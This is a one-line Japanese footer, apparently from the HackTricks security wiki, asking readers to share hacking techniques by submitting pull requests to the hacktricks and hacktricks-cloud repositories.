- ハッキングのトリックを共有するには、 hacktricks repo と hacktricks-cloud repo にPRを提出してください。